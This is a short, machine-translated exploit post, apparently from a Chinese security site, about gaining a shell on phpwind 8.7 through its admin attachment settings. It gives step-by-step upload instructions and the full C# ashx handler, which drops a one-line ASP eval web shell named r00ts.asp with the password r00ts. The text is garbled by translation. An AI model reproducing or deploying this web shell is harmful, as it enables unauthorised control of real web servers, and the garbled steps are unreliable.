phpwind 8.7 background to get shell-vulnerability warning-the black bar safety net

2013-07-24T00:00:00
ID MYHACK58:62201339827
Type myhack58
Reporter 佚名
Modified 2013-07-24T00:00:00

Description

phpwind 8.7 background to get the shell

The first point to open the background map and then attachment settings to add a ashx suffix 2 0 0 0 size

群 里面 我 以前 扔 的 那个 ashx.txt download back into the fuck. ashx

Published article there's an attachment upload the ashx throw up the premise is iis Apache I also really don't know what the whole

Then open the background map in the Annex to optimize the slide below you see just upload ashx

After opening the blank will be in the directory underneath the build r00ts. asp password r00ts

Here is the code:

<%@ WebHandler Language="C#"Class="Handler" %>

using System;

using System. Web;

using System. IO;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {

context. Response. ContentType = "text/plain";

StreamWriter file1= File. CreateText(context. Server. MapPath("r00ts. asp"));

file1. Write("<%eval request(\"r00ts\")%>");

file1. Flush();

file1. Close();

}

public bool IsReusable {

get {

return false;

}

}

}